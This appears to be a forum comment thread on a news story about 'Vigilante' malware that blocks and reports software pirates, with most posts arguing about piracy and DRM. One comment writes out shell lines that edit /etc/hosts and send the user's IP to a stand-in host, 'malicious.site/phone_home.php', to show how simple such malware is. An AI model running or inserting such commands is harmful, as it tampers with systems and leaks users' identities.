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Newly discovered Vigilante malware outs software pirates and blocks them

arstechnica.com

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Re: Newly discovered Vigilante malware outs software pirates and blocks them

#121

Post by uncoder0 »

js8 wrote: post #101

I think pirating is like cheating in relationships. The society should discourage it, but to criminalize it is much worse than just to let it happen. Yes, the solution is possibly not stable or consistent, yet adhering to either side of consistent moral principles is arguably worse. Many people do both, sometimes in a weird, selective way. I know I do, I pirate a lot, yet if I really care about something (or it's har…

I pirate things that have oppressive DRM that makes people who purchase the software have to jump through unnecessary hoops. I've had 3,000 dollar software not work when I needed it because some license server was down somewhere.

Re: Newly discovered Vigilante malware outs software pirates and blocks them

#122

Post by himinlomax »

marcosdumay wrote: post #74
na85 wrote: post #70

Earlier quoted context omitted.

>Do you think this was backed by companies? Frankly I'd be shocked if it wasn't.

There are all kinds of crazy people out there. There could easily be somebody with a burning desire to fight IP piracy.

Software piracy is not a socially significant issue, it's not even divisive. It's illegal, but nobody cares about it, so you can't imagine getting any kind of white knight award if you fight against it. Well I'm sure there are people who care about the welfare of Hollywood or Redmond executives, but they tend to be Hollywood or Redmond executives.

Re: Newly discovered Vigilante malware outs software pirates and blocks them

#123

Post by himinlomax »

js8 wrote: post #101

I think pirating is like cheating in relationships. The society should discourage it, but to criminalize it is much worse than just to let it happen. Yes, the solution is possibly not stable or consistent, yet adhering to either side of consistent moral principles is arguably worse. Many people do both, sometimes in a weird, selective way. I know I do, I pirate a lot, yet if I really care about something (or it's har…

Because of movie piracy, Hollywood is currently a deserted wasteland. And because of video game piracy, nobody makes any of those any more. Also I heard Google is not giving Microsoft any money for their operating systems.

Wait, only the last one is true. It's almost as if intellectual schmoperty violations is not a real problem.

Re: Newly discovered Vigilante malware outs software pirates and blocks them

#124

Post by Cpoll »

vsareto wrote: post #5

lmfao. Imagine being good enough to code malware that does this and wasting your efforts on something like this. Look, if you have skills like these, you're special. Don't fucking waste it on building malware for corporate asshats.

I think "good enough" in this case is the equivalent of "took a Linux class in high school."

  echo "127.0.0.1 thepiratebay.org" >> /etc/hosts

  MY_IP=$(curl ifconfig.me)

  curl malicious.site/phone_home.php?ip=$MY_IP
(which isn't to say that this is the approach the malware is taking, but it _can_ be)

The hardest part is writing and hosting the aforementioned malicious.site server, but storing user input isn't anything you wouldn't see in the average beginner tutorial.

Re: Newly discovered Vigilante malware outs software pirates and blocks them

#125

Post by mr_toad »

js8 wrote: post #101

I think pirating is like cheating in relationships. The society should discourage it, but to criminalize it is much worse than just to let it happen. Yes, the solution is possibly not stable or consistent, yet adhering to either side of consistent moral principles is arguably worse. Many people do both, sometimes in a weird, selective way. I know I do, I pirate a lot, yet if I really care about something (or it's har…

That’s an interesting analogy. Legally, copyright infringement is treated much the same as trespassing on property. And in societies that viewed wives as property they did make it a criminal offence.
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